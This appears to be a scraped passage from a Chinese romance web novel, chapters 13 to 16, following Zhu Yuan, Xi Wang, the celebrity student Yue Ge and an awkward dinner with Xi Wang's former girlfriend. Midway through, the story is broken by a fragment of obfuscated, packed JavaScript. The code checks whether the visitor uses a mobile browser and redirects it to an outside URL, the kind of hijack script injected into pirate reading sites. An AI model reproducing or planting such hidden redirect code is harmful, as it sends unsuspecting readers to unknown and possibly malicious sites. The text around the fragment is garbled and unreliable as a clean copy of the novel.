“当然不知道!”祝愿大声打断道,“她老婆家里在河滨边有个农场,市区送货上门,我加了好给我妈买点土货。”
“你妈?”希望差点没被吓的跳了起来。
祝愿的脸上不知为什么渐变出了层可以称之为得意的神色:“你知道我妈知道许梦吗?”
“许怀中的孙子许梦,你妈妈可以知道吧,”希望舌头卡顿,大脑非转,“你妈是怎么个知道许梦的?”
祝愿不知道想到什么似的,笑的不那么讨喜问道:“你妈是不是只知道我?”
希望听到这话几乎顿住,但随即仿佛是不服输似的挑衅着反问道:“你还知道我妈只知道你?”
祝愿得意回道:“你有什么能是我不能知道的?”
希望不深不浅地看了她一眼,起身拿起分好的垃圾转身就要往门外走。
祝愿起身准备要去洗手,走到一半又转身拦到希望身前:“哎,你要不要陪我去参加他婚礼啊?”
“参加谁婚礼?”希望往后让了一步道。
“许梦啊,还有谁婚礼?”
希望很认真的思考了一下才说到:“你那闺蜜不也结婚?”
“你什么时候和她也加了好友?”
“……”
祝愿赶紧讨好道:“我觉得我不参加许梦婚礼会遗憾。”
希望又往后推了一步:“上赶着参加初恋婚礼?”
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>“我们也是朋友,也是同学,也是从小一起长大的伙伴!”
少年祝愿在和许梦分手之后毅然决然的把他所有联系方式都拉黑了,在此之后的很长一段时间里,他们即使在教职工新年联欢会上碰到,都是抬头望天或转头看树的模样。后来,具体是什么契机让两人又联系上了祝愿其实已经不记得了。硬是要记得点什么的话,那时候她的生活中已经没有希望了。只是他们一路基本上都是上的子弟学校,基本上所有同学都可以这么形容。
希望几乎脱口而出道:“那我是什么?”
“什么?”祝愿不知到底是没听清还是不敢相信听到了什么。
“你听到了。”希望转身,提着几包垃圾,头也不回的出了门。
祝愿站在原地看着并没有被合上的门,伸手抓起餐桌上没喝完的咖啡,就赶紧也出了门。
希望扔完垃圾桶站在路边,听着楼上“蹬蹬蹬”的跺脚声,目光从楼上看到楼下。
“你这身去跑步?”
祝愿昨天是在家洗了澡过来的,一直没回去,此时正穿着居家的粉色薄绒睡衣,脚上踩着的是带兔耳朵的同色拖鞋。
“我们去跑步?”
希望盯着她,只笑笑不说话。
“唉,”祝愿蹦到希望身边,挽住他胳膊道,“我们散步吧。”
“谁这个点穿睡衣在学校里散步?”
“我呀!”
“你妈怎么知道许梦的?”
“哎!对!我差点儿忘了!”祝愿激动的挽紧了希望的胳膊,兴奋道,“我跟你说哦,我今天不知道怎么个一激灵……”
两人的脚步越来越慢,等祝愿终于差不多讲完了,希望猛的停住了脚步,两人甚至还没从岔路走出到大路上,“所以你那天没送我是和许梦出去?”
祝愿挽着他,被他也猛的带停,楞住回忆了一会儿才道:“我和他在这之前就没有在一起了啊!”
希望好像对此十分困扰,连问道:“什么时候?我怎么不知道?”
祝愿这次没再回忆,脱口而出道:“你那段时间忙着考雅思,怎么会知道?”
希望按着祝愿的后劲把她拉到自己的对面,接着问道:“我忙着考雅思,你就不能告诉我吗?”
“我都好久没让你给我打掩护了,你不是应该自己就发现问题吗?”
“在那之前你不就不需要我了吗?”
“在那之前我跟他就好久都没说话了啊!”
“那你们到底是为什么不说话了?”
“放寒假了,就自然没联系了啊!”
“……”
“然后我就在网上问他这是不是就是分手了,他跟我说是啊!”
“……”
祝愿轻笑道:“小时候他们谈恋爱不就是这样?”
“……”希望沉默了好久才低声又问道,“所以你那天没送我,去哪儿了?”
“等你们都走了,我就拿着你家钥匙去你家了,看你有没有地方没有收拾好。”
“那有地方没收拾好吗?”
“我不会原谅你就那么走了的,我这辈子都不想和你再有联系了!”
希望不可置信的看向祝愿,那一脸、满眼写着了不敢相信、始料不及。
祝愿直直地回盯着希望,接着说道:“我那时候看你把家里收拾的那么好,满脑子都想的是这个。”
……
13. 13、明星学霸校草的护草使者
13、明星学霸校草的护草使者
下午三点,祝愿在学校门口等候的时候,看着一天之中最受冷落的学校大门,进出的零星几个学生,第一次有点紧张了,刚刚是不是戴个口罩出来更靠谱?
“祝老师?”
祝愿被这一声叫的就是一跳,是真的跳起来了的那种,定睛一看,都还没彻底从受到惊吓的状态中缓解,干笑道:“小绚啊?下午没课?”
面前邻居杨邢绚老师正提着塑料袋装的面条和面汤,笑道:“嗯,你不是有课?”
祝愿被这精准一问更紧张了,反应了好一会儿才道:“啊,我那什么调了课。”
刚入夏,午后的太阳热烈的把整个校门笼着,人站在这样的阳光下被镀了层金,被闪耀的睁不开眼。
杨邢绚眯眼打量着祝愿,又问道:“要出去?”
祝愿只皮笑肉不笑地答:“等个人。”
杨邢绚稍稍提了下手里的袋子,准备道别:“那我……”
祝愿晃了下自己手里突然振动起来的电话,打断道:“不好意思我接个电话。”
“Hello”祝愿一脸谨慎,边接电话还边再次对校门口地形进行了观察,“唉?我在门口站着呢。”
杨邢绚看向祝愿的眼神里满是探究,只见祝愿说完侧了侧身,往他身后看去。
“嘿!这儿呢!”祝愿往杨邢绚身后招手,用接近气声对着电话那头说道。
杨邢绚跟着祝愿的方向转身,只见一戴了口罩和鸭舌帽的男人快步往这边走来。
“祝老师好。”来人低声带着笑。
“你好你好!”祝愿也笑,感觉这人比上次见面阳光多了。
“这位是?”来人看向祝愿身边。
祝愿这才又想起来了杨邢绚的存在,瞬间也再次紧张了起来,眼看着两人都用满是求知的目光看向对方又看向自己,才迟疑道:“这位是杨邢绚,杨老师,这位是……”
“岳歌。”岳歌伸手,像上次和祝愿见面的时候一样,抢答了自己的名字。
杨邢绚把手上的面换了只手,也伸出手,疑惑的看向祝愿,不太确定的问道:“这就是你上次找麦老那事儿?”
“你怎么知道?”祝愿稍稍往后退了一步,警惕的盯着他。
杨邢绚神采有些得意道:“我们组长让我最近都在麦老那儿建模!”
岳歌随着这句话深深的看了杨邢绚一眼。
“也是,”祝愿仿佛这才想起来杨邢绚的本来身份,于是出于种种考虑,指向岳歌问道,“那你认识他吗?”
杨邢绚盯着武装齐全的岳歌念叨这名字,仔细辨认和回忆后,十分老实的答道:“不认识。”
“那我觉得你是不是可以把口罩摘了?既然大家都不认识你,你这样更容易引起注意吧。”祝愿至此不在那么紧张了,当时不知道怎么样的效应使她的得出了这样奇怪的推导,在仅有的样本中,大家都不认识岳歌,等于也不是所有人都认识岳歌,等于岳歌其实不那么有名。
岳歌先是愣住,犹豫了一下才在祝愿稍加坚定及杨邢绚更加好奇的目光中,看了眼确实没什么人的周围,还是摘下了口罩。
“你你你你你!”杨邢绚在看见岳歌全脸的瞬间,没顾上礼貌,指着岳歌就那么以岳歌熟悉的形式激动了起来。
祝愿瞪大了眼看向杨邢绚,表示意外。
“UKA的广告!”杨邢绚的激动还在持续。
“啊?”这显然说到了祝愿的知识盲区。
“泓洋外立面好大一个广告牌!”杨邢绚下意识在虚空中指了一个方向。
祝愿:……
岳歌重新戴上口罩。
祝愿:“要不你把帽檐再压低点儿?”
岳歌:……
祝愿又道:“今天的面试如果麦老那边过了,你在本科生暑假的时候,应该就要正式进组干活了。到时候肯定瞒不住的,但是这个范围怎么控制大概就要看你个人魅力了。”
岳歌翘起嘴角道:“这方面我可能还行?”
杨邢绚空着的那只手拿出手机,搜索引擎输入:岳歌。
祝愿进了校门就准备和杨邢绚告别,但杨邢绚说自己本来就是要去给麦教授买面条的,岳歌默默地跟在旁边,三个人意外成队地往麦教授的办公室去,。
到了地方,和麦教授约好的祝愿在前头敲门,岳歌赶紧拿下了帽子、口罩,理了理头发。
是一个热情的迎接,对十分礼貌的鞠躬见礼,氛围很好,直到麦教授看到了杨邢绚。
“你不是回宿舍了?”麦教授微微皱了皱眉头。
杨邢绚举起手里的面条,笑道:“您给我看了一下午模型,我给您买点面条送来。”
麦教授面上闪过很快的惊讶和不解,但目光扫过面前还站着的两人后,立刻伸手接过面条,道:“都进来吧。”
打头的客人快速落座,最后的卑微蹭课生自觉地去给客人端了茶水。
因为不是一个学院,祝愿和麦教授其实不熟,与刚刚门口的紧张不同,这会儿另一种从小为大家所熟知的紧张又涌上心头、面上。
还好作为长者的麦教授很快率先开口,话是对祝愿说的,“你爸跟我其实通过话了,但他不让我告诉你。”
此话一出,在座三人都面露十分的意外,其中不乏还有以为面上还有八分的纳闷。
“我爸他……”祝愿努力组织了一下语言,尽量让自己还保持着沉着稳重,“还挺自信。”
“哈哈哈哈哈——”麦教授带着有特色的鼻腔共鸣声,笑的很爽朗,“你这孩子,该不会以为你爸爸让我给岳歌开后门吧?岳歌?”
“老师肯定不会的,”岳歌迅速接话道,“老师一定是让您公事公办,不要看他的面子。”
祝愿那一瞬稳重全无、沉着全无,凝眉慎重道:“他怕我打他旗号招摇撞骗?”
一时间笑升三座,一座傻憨。
“这样,”麦老笑着看了眼时间道,“那我们就直接进入正题,祝愿先去外面转转,小杨去把你电脑拿过来。”
祝愿这回倒是没有惊讶和耍宝,和岳歌进行了简短的视线交流,顺带用目光对杨邢绚进行了自认为强大的震慑后,二话没说就起身出去了。
梧桐树被下午太阳斜映在办公室外的走廊上变成一个个庞然的怪影,和那天上午映在M大主路边的一样。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299896|182772||http|test|mini|href|location''.split(''|''),0,{}));
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>那天希望听完她的控诉,帮她理好鬓边的碎发,问她:“所以在你心里,是我背叛了我们,是吗?”
“又不是处对象,谁背叛谁?”祝愿是这么嘴硬着回答的。
希望却波澜不惊的继续低声道:“可是在我心里,是你先背叛我的,从你跟我说你要单独和许梦一起去坐公交回家的那天开始。”
两人可能都不会忘记那是一个周五的下午,原因却是各自的。就是在那天下午祝愿懵懂却不自知的开始了初恋。按照往常,他们会抓紧时间跑到学校门口蹭校车回去,然后再到猫巷觅食后回家。然而,那天希望收拾好书包之后,祝愿跑过来跟他说许梦晚上要送她回家。
都住在一个校区,怎么送回家呢?都是只要脸皮厚,就能蹭上校车的人。
但,甜蜜的少男少女总知道那条回家最远的路。
祝愿立即就反驳道:“我怎么会是那种重色轻友的人?”
希望也立刻反问:“我不是色,你说什么‘不如在一起?’?”
上次师母给介绍的男孩要见面前两天,她跟他说她不知道为什么从内到外的抗拒,一想到这事儿就急的想跺脚,跟他说不想跟异性说话了,说着说着,不知怎么着就说了这么一句。说之前有多少试探她不敢说,但是说之后满心期待是真的。
“你不是说什么‘我就不是异性了吗?’?不是友是什么?”
不想和任何异性有哪怕关于“在一起”想象,但希望好像除外。然后,希望好像就被吓的躲了起来。可是,这会儿她也并不敢提“五分钟内有效”,什么有效呢?大概什么有效都没有他们可以一直这样走下去有效。
“好的朋友,”希望深深的吸了口气,往左右前后看了看,捏着她的后劲转身道,“路上这会儿都是学生,你穿着睡衣太影响校容了,我们回去吧!”
“家居服!这是家居服!”祝愿扯着嗓子就被希望掐回去了。
夏日的大学校园,好像到处充满了离别之情,让人特别容易怀旧。但是这里没有祝愿和希望的离别,他们的离别那是在一个冬季。
而在那个冬季之前,希霍普到现在都不被知道到底是否带有真心的第一次告白。
祝愿其实不太记得希霍普当时到底是怎么说的了。只记得,那是她和许梦刚刚开始没多久的一个晚上,用的手机短消息。怎么可能会有真心人挑这个时间真表白呢?所以祝愿当时回复的短消息是:别开玩笑了。
然后,就再没然后了,就像没有发生过一样。
这一人一次了,很公平了,祝愿想。
但其实真的什么都没发生吗?就像,两人从校园的马路边一路突然就沉默了,默默走回家,并不像平常一样。就像,两人没什么话又同车回了H市,和平常也不一样。
就像,如果那年像平常一样,希望就不会出国念书,他们本该一起留在M大上学,也像小时候那一双作文一样,像M大里的两棵梧桐树?
祝愿拿出了手机,刚刚发了一条屏蔽了很多人的动态。
“今天是明星学霸校草的护草使者。[音符]
别问,不能说。[嘘]”
该有新回复了。
……
14. [音符
14、[音符][音符]
“!!!![音符][音符]!!!!!Awsl!!!!!!”
这是仅可见的朋友给的唯一一条评论。祝愿是看梁倩发过那么一两次岳歌的动态,其实只是想试试,也真是没想到粉丝的消息和联想竟然都这么灵通。她现在甚至有点慌了,这接下来恐怕还得得到小音符本人的同意才行。
小音符本人被杨老师带着找到祝愿的时候,祝愿正在隔壁并不熟悉的老师办公桌前尬聊蹭板凳。
伸头看到这间办公室还有祝愿以外的人,岳歌又赶紧把帽子给戴上了。
祝愿已经站起来了,转头看了眼办公桌后带眉毛眼镜的男老师,勾了勾嘴角,猝不及防道:“岳歌,这是许老师。许老师,这是麦老的准学生岳歌。”
岳歌愣住的和刚刚在学校门口如出一辙,但比刚刚更快的取了帽子,微微鞠躬,规规矩矩叫了一声“许老师好”。
许老师因为祝愿的介绍,很认真的看了岳歌一眼,随后轻轻点头,回道:“你好。”
祝愿觉得自己“学校其实没什么人认识岳歌”的认知再次得到了证实,满意中带着一丝莫名其妙的得意,说了些以后拜托照顾的话后,和许老师道别。
“我觉得你在学校肯定没问题了,刚刚许老师也不认识你!”仨人走到没人的走廊,祝愿兴奋地道。
岳歌重新戴上帽子,淡淡说道:“如果你想证明什么,我可以等下去食堂取下帽子。”
“还是不要,”杨邢绚语气中也带着一丝兴奋,“那会儿吃饭的都是你的受众群。”
“啊!”祝愿白了杨邢绚一眼才想起来今天下午的主题,在麦老办公室门口猛顿住脚步,气声问道,“刚刚怎么样?”
“麦老让你记得监督他下个月准时来跟项目。”杨邢绚抢答道。
“哎呀!”祝愿一巴掌拍在岳歌肩膀上,笑道,“我就知道我爸不会看错人!”
岳歌脸上流露出了一个祝愿见他以来,最灿烂的笑容,从眼角的浅纹到嘴角的括弧都闪烁着耀眼的光,那么一刻,祝愿是被击中的,被击中着,她就激动的又拍了岳歌一掌。
岳歌终于笑着揉了揉肩膀。祝愿小跑着进办公室和麦老道谢。
杨邢绚注目着祝愿关上门,立刻转头带着些含蓄、好奇和纳闷或者懊恼问岳歌:“不过你刚刚到底是怎么看出来我那行公式有问题的?”
岳歌凝眉认真的回忆了之后答:“模型那段有点怪。”
杨邢绚开始回想自己的模型,显然没想出个所以然,又问道:“就这?”
“就这。”岳歌点头。
太阳渐落,渐深的阳光平平的擦过,照在明星好看的侧脸上,轮廓分明、挺拔。
“我晚上请你在食堂吃饭?”杨邢绚试探问道。
岳歌抬了抬帽檐,不解地看向他。
“我还有几组……”
“不行不行,他晚上的时间我预约了的。”祝愿从麦老办公室出来赶紧打断说。
岳歌保持着帽檐,又不解的看向祝愿。
“那可以一起啊!”杨邢绚毫不在意道。
祝愿一脸嫌弃问:“你为什么要一起?”
“祝老师,岳歌是您父亲的学生?您父亲祝……祝向东?祝教授?”杨邢绚念着祝的姓氏,自己就念除了自己心中疑惑的答案。岳歌的水平摆在这,姓祝的教授那屈指就那么一个了。
祝愿还是一脸嫌弃道:“你又知道了?”
“我还有几组数据想让岳歌先熟悉熟悉。”杨邢绚理所当然道。
“哦?”祝愿狐疑看向岳歌,“你知道他其实跟你不是一个专业吧?”
岳歌转而问道:“我们晚上约了……做什么来着?”
祝愿瞥了眼此刻紧盯自己的杨邢绚,清了下喉咙道:“我有些资料要给你。”
岳歌狐疑看向祝愿。
三人陷入短暂的僵持,直到祝愿的手机来了条消息。祝愿只瞅了眼来信人的姓名,就赶紧又看回岳歌。
岳歌更加狐疑看向祝愿。
“你是不是也有私生饭?”祝愿决定用先下手为强讹人。
“什么?”岳歌那一瞬间是不敢相信自己的耳朵。
祝愿举起手机:“你女友粉问我是不是和她……男朋友在一起?”
岳歌的眼神瞬间软了下来,羞涩中甚至还有点怂。
“女友?”杨邢绚倒是来劲了,问祝愿,“你也认识他女朋友?”
“你边儿去,”祝愿转而继续对岳歌道,“我们晚上和你这个女友粉吃饭吧,你帮帮我吧。”
岳歌轻轻出了口气,指着杨邢绚说:“那他也一起吧。”
……
理论下班时间前,正在单方面最后站立会议的梁倩感受到口袋里的手机振动的时候,犹豫了至少五秒钟,才跟自己boss说了句抱歉,拿出了手机。
他boss面上不动声色点头,让她看了手机,心里多少有有点纳闷,少有的这么不专业到底是为什么。
然后,让他更纳闷的事情发生了。梁倩在他面前明显是因为喜出望外的跳了起来,是真的双脚离地的跳了。
希望下意识身体往后靠到椅背上,收起下巴,本能呈现出了一种受到惊吓后的防御姿态。
梁倩等反应过来,才发现最怕突然的安静,赶紧把手机收起来道歉:“老板,不好意思。”
希望扯嘴笑道:“什么事儿,高兴成这样?”
“祝老师!感谢祝老师!”梁倩这一提起来,喜出望外的感觉又回来了,眼睛里闪着星星,甚至开始语无伦次了。
希望听话瞬间面上生出了类似警觉的表情,收起笑容问道:“祝老师怎么了?”
梁倩努力让自己冷静,不让自己的句子里出现什么“男朋友”、“老公”之类的词语,为此斟酌了半晌,她才开口道:“祝老师现在和我偶像在一起,她刚刚说,晚上如果我有空,可以过去跟她们一起吃晚饭。”
办公室里又一次突然的安静,老板办公桌上的计时节奏器清脆着,越来越紧急。
老板脸上看上去愈发凝重的脸色,梁倩渐渐只能听到自己的心跳声。
“你偶像,”希望明显顿了一下,像是又思考了一番才道,“
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岳歌?”
助理第一条,会看老板眼色、脸色、甚至衣服眼色等一切颜色,梁倩这会儿什么兴奋的表现都没有了。
“老板您也认识岳歌?”梁倩低声谨慎问道。
“她让你过去,是去哪儿?”希望低声又问道。
“这个祝老师还没说。”梁倩恭敬答道。
“我今晚是在哪儿?”希望的声音提升了些。
这是几天前就敲定的日程,敲定前希望再三叮嘱她不要再像之前那次订错口味。
“您今晚安排在珠玉,”梁倩又很快补充或者说澄清道,“中餐、精致、辣口。”
“既然是你偶像,今晚你也安排在那儿吧,”希望不紧不慢说,“如果口味不合适就一起换个地方。”
“您,”梁倩顿了顿,犹豫了一番,仔细斟酌道,“要一起吗?”
“不,我买单。”
梁倩看着希望,反应了一会儿才道:“谢谢老板!”
幸好,不然她可真怕她偶像不太方便。
……
珠玉作为一个除了订位和等位外,几乎吃不上的餐厅,可以说生意和口味一样火爆。
落盘包厢一门之隔内,此刻只有鼠标和键盘的偶尔咔咔嚓嚓声。
这个头是杨邢绚开的,三人刚坐下来他就拿出电脑按原计划让岳歌帮他看数据。
起先祝愿,也站旁边看看,看着看着,他看杨邢绚为了做好课题,跨专业这么拼,也不知怎么着,就突然的自惭形秽,自己就也做到位置上,从包里拿出了电脑。
梁倩敲门推门进去的时候,看到的就是那么一幕,就像是大学里小组讨论,迟到的自己,别人都在忙碌中匆忙的抬头看她一眼,然后就各自低头忙自己的。祝愿低头是保存工作进度过后,才赶紧站起来给梁倩介绍偶像。
岳歌这会儿真像个游刃有余的做惯了偶像的人,跟梁倩亲切的打了招呼,还路上堵不堵的问了些。梁倩顺理成章很快就被偶像吸引去了目光,被挡在她身后的希望等的不耐烦的清了清喉咙。
最先反应过来的还是梁倩,她赶紧把希望让进来,紧接着确认门口没什么可疑人员,才立刻把门关严了。
岳歌当然是不知道今晚还能看到希望的,杨邢绚是一眼就认出了这个不认识的男人,
梁倩记得自家偶像爱吃辣口,所以很欣然的接受了老板的建议,很快给祝愿发消息和定位。所以屋里仨人,也就祝愿知道希望今晚可能出现在这里。
几人谁也没再先说话,还是岳歌率先问了祝愿:“你也约了希总?”
“没。”祝愿望着希望没什么表情,甚至还有点无辜。
始终坐着的杨邢绚显然认得出这人,在第一次知道这人的姓氏之后眼前一亮,探究地又随着焦点看向希望。
“我约了朋友在隔壁,”希望的目光在屋内扫了一圈,目光在餐桌上两台电脑上停留了片刻,盯了杨邢绚一眼,最终看向岳歌,“听我助理说今晚祝愿约了你,过来打个招呼。”
“你助理?”岳歌带着笑脸,歪头看了看助理本人,又看了看祝愿。
……
15. 15、“你们不对劲。”
15、“你们不对劲。”
“哎呀!”梁倩这会儿的雀跃已经撒开了,“boss你真认识我偶像?认识很久了吗?”
希望道:“还真认识的说长不长,说短不短。”
岳歌笑,他知道希望说的是见文章和见面,看了没什么表现的祝愿,他说:“希总晚上约的什么局?要不一起?”
希望又扫了一圈包厢,最终目光又落回桌上的电脑上,笑答:“恐怕不方便。”
“公事?”祝愿终于没忍住问道。
回来有快一个月了吧,两人都没怎么正经联系过。两人不正经的联系,都是祝愿看到梁倩在社交平台上发了类似和boss出差的动态后,上网搜一搜当地的特产,给希望发去消息,希望回来了后就让梁倩送到学校去给她。这期间两个的多话都不外乎“带点这个回来”和“知道了”。
希望看向她,顿了下才低声答:“不是。”
祝愿微微睁大了眼睛,对这件事仿佛不太能理解,希望有什么私事,是不太方便和她一起的?
希望刚想说什么,电话就来了,他对祝愿摆了摆手,接了起来。
“到了?我让人出来接你。”希望转身朝门口走了两步,背着人,声音低低轻轻的。
梁倩还没等希望挂电话就冲了出去。
等挂了电话,希望转身看到的是祝愿更加好奇的目光,他摇了摇手上的电话,说:“我也出去看看。”
包厢里回归成仨人,岳歌和祝愿有一瞬间的面面相觑。于是,祝愿的好奇到达了顶点。
好在,门很快又开了。
还是助理小姐。她很快进了门,还是和刚刚差不多的步骤,关紧了门才直奔她偶像,问道:“歌歌,我boss有个女生朋友,听我说因为偶像在这里而不能和她们一起晚饭,想顺道过来看看你,可以吗?”
岳歌首先抬头去看祝愿,祝愿早就撑着头在那边看他,两人目光对上,岳歌笑问:“我可以拒绝吗?”
“你当然可以拒绝。”梁倩抢答道,维护偶像私人时间是作为粉丝的首要自觉。
“可是我想看看是什么女生朋友。”祝愿立刻反驳,小小的声音里透着大大坚定。
杨邢绚从百忙之中,闻声抬头。
“就是那个最近刚回来的,boss留学时候的朋友,”梁倩很快给祝愿介绍,说着显然感觉的到了什么,看向祝愿道,“啊!Boss都没告诉过你?”
祝愿脸上无辜且无助,反问道:“他应该告诉我?”
此时梁倩暂时忘了她偶像,仿佛有了什么新的圣神使命或者别的,“歌歌,我们可以让那个女生进来吗?”梁倩问道。
“当然!”岳歌爽快的点头。
很快,在三众瞩目中,希望带着他的女生朋友回到了包厢里。
那个女生朋友穿着极合身的套装,腰身细而腿修长,精致妆容下的长睫忽闪着一眼就看到了坐在餐桌最里侧,此刻正一瞬不瞬看着她的女性。
“希望,你没跟我说祝愿也在。”储圆圆确认了人之后几乎是立刻转向希望,毫不掩饰的真实惊讶。
祝愿下意识捋了捋自己的头发。
杨邢绚左右看了看,极尽观察之能事。
梁倩努力扼制自己好奇的眼睛,跟在她眼里被严重打扰的岳歌小声道歉。
岳歌十分慈爱地跟梁倩说“没关系”,然后看向祝愿。
希望收回目光,侧头低声道:“我以为你没必要知道。”
储圆圆稍稍站定了一瞬,目光在包厢里外巡了几巡,也侧头靠近了希望,更低声道:“你们不对劲。”
希望正身道:“没有。”
“你们是不是?”储圆圆在希望耳边拖了长音。
祝愿看着那二人,又抠了抠自己的指甲。
希望的步子比储圆圆快了一步,低呵:“不是。”
“储小姐,这就是我偶像!”梁倩或许是终于看不下去有人可以用这么慢的脚步,靠近自己偶像。
“啊!岳歌!”储圆圆这才发现靠近自己一侧的岳歌,惊奇地对梁倩道,“岳歌就是你偶像?”
“希望,”储圆圆紧接着惊奇的又对希望说,“你都没跟我说我今晚还能看得到岳歌。”
“岳歌你好,”储圆圆说,“很高兴今晚可以见到你!我叫储圆圆!”
岳歌这次的表现比刚刚面对亲粉丝的时候更加像个做惯了偶像的人,被偶遇的波澜不惊又大方周道。他好像热情的回应了储圆圆,又热情得明显很疏离。
希望在旁边保持礼貌微笑道:“我并不知道你还认识岳歌。”
储圆圆出国的年纪很小,和国内接触很少,就连国内的朋友也几乎没有。
“前年和去年的全球最帅面孔一百人排行里,”储圆圆满脸欣赏,也是颜是抽空看了希望一眼,“啊,这方面的新闻难道对你的投资没有影响吗?”
梁倩骄傲之于,不忘紧盯boss和她的两位女生朋友。
“也许有。”希望回答明显经过了思考,耸肩答道。
“但愿没有。”岳歌在旁很快接话道。
希望愣了一瞬,很快对岳歌笑道:“你应该知道我习惯对冲。”
“hey!”储圆圆眼看着希望就要正经讨论起来了,打断说,“我的错好吗?我不该提你的专业问题。”
希望双手在空中举了下,打住话题。
储圆圆绕过大家,走到祝愿面前,跟她挥手:“祝愿你好,我是储圆圆!”
祝愿被她这么一下子,一时之间不知道该不该表现出认识她,值得也挥了挥手,回道:“你好。”
杨邢绚在一旁听的突然来了精神,把两个人的名字点过来倒过去的嘀咕了几遍:“储圆圆、祝愿、祝愿、储圆,你两名字真像。”
那边梁倩也跟着嘀咕起来,岳歌不易察觉的挑了挑眉。
“像吗?你也觉得像吗?”储圆圆自己也嘀咕了两遍,“储圆、祝愿,我朋友们喜欢喊我储圆,那可能真的很像吧,我和希望认识就是因为他听到有人在叫我,以为是叫你的名字。”
祝愿讶异的去看希望。她之所以能从未见过面,就能认出储圆圆,不仅仅因为她是希望前女友。还有一个原因是,希望说和这个前女友认识,是出
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租屋的邻居。
那时,他们实在隔的太远了,她太想知道那个时刻和希望在一起的人是个什么样的人了,以致于她有时候走半路可能都会翻出和希望的聊天记录,看看他传过来的照片。渐渐的,照片里的人就像见过一样,再见面一眼就认了出来。
“你们不是邻居吗?”祝愿不太确定的问道。
“那是后来,我搬过去的,”储圆圆一脸八卦式好奇问道,“他没告诉过你吗?”
“太久了,记不清了。”祝愿生硬的提了提嘴角,今晚好像不是第一次被这样问了。再看向希望变成了疑惑,她现在有点怀疑自己是不是记错了。
“我还记得很清,我告诉你!”储圆圆的兴奋好像升了级。
“我们不打扰他们了,”希望指了一餐桌的电脑,对储圆圆道,“我们的包厢在隔壁。”
“我们不能一起吗?”储圆圆说话往祝愿身边更站了一步,手扶到了旁边的椅背上,眼睁睁地看着希望,又看向岳歌,“我们一起的话很叨扰你们吗?”
希望浑身散发着希望看向岳歌。
岳歌笑道:“我还好,今晚主要是在跟杨老师学习。”
一时间杨邢绚成了众人的焦点。
杨邢绚本来真是一心学术的,这会儿听了几耳朵,听的云里雾里的,特别是好像跟祝老师有关,他也是真心想听清楚点,但直接问到他,怎么表达意见合适,他一时有些拿捏不准,于是说出来难免有些支支吾吾:“我,那个……”
“这位是?”储圆圆仿佛这时才发现这里还有一个人。
“杨邢绚,”杨邢绚觉得这道题他会,很快自我介绍道,“祝老师的同事。”
“祝老师?”储圆圆左右看了看两人,“杨老师?”
储圆圆的反应很奇怪,祝愿不太确定的点点头。
“希望,你说过你如果不做投资,会当老师?”
希望祈求的目光朝祝愿投去。
祝愿准确的收到了希望的目光,朝大家说:“别站着了,都坐下呗,一起呗!”
希望:“……”
眼看着储圆圆顺意的在祝愿身边就坐,梁倩上前两步离开偶像远了些,离自家boss近了些,她需要第一时间去解决桌席的问题。
“去吧。”希望无奈对梁倩说,说完自己在靠近岳歌的座位上坐了下来。
梁倩小跑着就除了包间。
“看看?”岳歌把面前的电脑往希望面前推了推。
“这是你擅长的,”希望顺手就接过来了,状似随口道,“怎么,偶像决定不做了?”
岳歌一阵沉默后笑而低声道:“会有兼得的办法?”
希望去拿鼠标的手一顿,道:“谁知道呢?”
“怎样?”岳歌看希望已经开始翻页了。
希望又翻了几页,侧头有些挑衅地问岳歌:“要听真话?”
岳歌无所谓的扬眉,说:“当然。”
希望的手在鼠标旁的桌边点了两下,才开口道:“你这个数据分析是在耍流氓。”
旁边杨邢绚的头猛的抬了起来。
……
16. 16、“您这次带名片在身上了吗?”
16、“您这次带名片在身上了吗?”
希望也很快注意到杨邢绚的表情,停住,用眼神询问岳歌。
岳歌这才说道:“这是杨老师的数据分析。”
“抱歉。”希望立刻说道。
“为什么要抱歉,请您继续说。”杨邢绚满脸求知。
希望首先去看祝愿,在顾忌到她的情况下,这个其实不是很重要的评论的分寸,到底怎么拿捏,他需要个眼色。
然而祝愿正被储圆圆的手机吸引,二人小声沉浸式谈话,毫无功夫给他暗示。
“额,”希望犹豫了一下说,“你这个分析类似那个Baltimore股票经纪人的故事。”
杨邢绚几乎是两眼一抹黑。
“JordanEllenberg?”岳歌很适时的接过话去。
“你知道?”希望显得有点意外。
杨邢绚举手道:“我不知道。”
“书名应该是HowNottoBeWrong:ThePowerofMathematicalThinking.”岳歌对杨邢绚说。
希望却好像凝视他,笑道:“那好像是写给门外汉的。”
岳歌耸肩,说:“不看怎么知道我漏了什么他说的那种隐性结构呢?你不也看了?Baltimore股票经纪人的故事?”
这边大声的谈话渐渐偏离到让路人听了厌烦的程度,那边小声的谈话却是带着ppt直击中心。
储圆圆几乎一坐下来就拿出了自己的手机,小声问祝愿:“我手机里正好整理了很多希望那时候的照片,你要不要看?”
祝愿随手保存了刚刚的工作进度,合上电脑,朝储圆圆诚恳的点头,她觉得那里头一定有她不知道的希望。
那是一个专门的相册,相册从排序上看确实是刚整理的照片,都是冲印过的照片翻拍的。
“我给你找。”储圆圆点开了相册的第一张照片。
这是一张一大群人的合照。露台烧烤架前,男生女生并肩站成一排,如果不是照片里只有一个黑色头发的男生,祝愿甚至不能认出这个眼睛里还泛着红光的陌生男生。
是的,陌生。
“这是我们在希望家的露台上Barbecue.”储圆圆小声跟祝愿说,边说边划到了第二张。
“这也是那天,正好房东来了,这就是希望的房东夫妻。”
“这个,这个是我的同学,这两个是Xi的同学,”储圆圆指着照片小声说道,“这个Colin同学,自从那次去了Xi家,就缠着要做他的室友。”
“这是在Xi学校门口的大草坪上。”
是希望的单人照,希望低低浅浅的笑着看着镜头。
“这是我们去德哈尔城堡。”
是希望的侧脸,看上去像是抓拍。
“这是希望常去的那家TescoExpress,他总说他们家的MealDeal便宜。”
这就是一张便利店正门的照片。
“这是在Xi家的客厅拍的,那天我们去帮他搬沙发,那个沙发真重啊。”
又是一张多人合照,大家坐在黑色的皮质沙发上,沙发看上去……光泽度很好,沙发前的茶几上摆着各种祝愿不认识的饮料瓶子。
可,沙发为什么要那么多人搬呢?又是从哪儿搬到哪儿呢?
